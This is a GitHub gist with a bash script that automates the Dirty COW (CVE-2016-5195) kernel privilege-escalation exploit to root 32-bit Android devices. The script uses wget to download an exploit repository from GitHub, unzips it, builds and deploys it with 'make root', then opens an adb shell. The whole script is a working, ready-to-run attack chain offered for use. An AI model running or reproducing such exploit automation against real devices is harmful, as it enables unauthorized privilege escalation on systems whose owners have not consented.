Skip to content

Instantly share code, notes, and snippets.

@chucktrukk
Forked from Arinerron/root.sh
Created October 27, 2016 05:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chucktrukk/d51d916d7572a804a136f0f6a041d16e to your computer and use it in GitHub Desktop.
Save chucktrukk/d51d916d7572a804a136f0f6a041d16e to your computer and use it in GitHub Desktop.
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
rm -f dirtyc0w_workspace.zip > /dev/null; # Remove zip if it exists
rm -rf dirtyc0w_workspace/ > /dev/null; # Remove workspace if it exists
wget -O dirtyc0w_workspace.zip https://github.com/timwr/CVE-2016-5195/archive/master.zip > /dev/null 2>&1;
echo "[INFO] Extracting exploit files...";
unzip -a dirtyc0w_workspace.zip -d dirtyc0w_workspace > /dev/null;
rm -f dirtyc0w_workspace.zip; # Remove zip if it exists
cd dirtyc0w_workspace;
directory=$PWD;
cd CVE-2016-5195-master;
# Compile and send exploit.
echo "[INFO] Exploiting dirtyc0w vulnerability...";
sleep 1; # Let them read the message before chaos
make root;
clear;
# Hooray!
echo -n "[INFO] Complete. Installed package \"run-as\" on device.\n[INFO] Cleaning up workspace...";
rm -rf $directory; # Clean up workspace
echo "Done";
echo "[INFO] Starting shell in 3 seconds...";
sleep 3; # Look! it worked!
adb shell;
clear;
exit 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment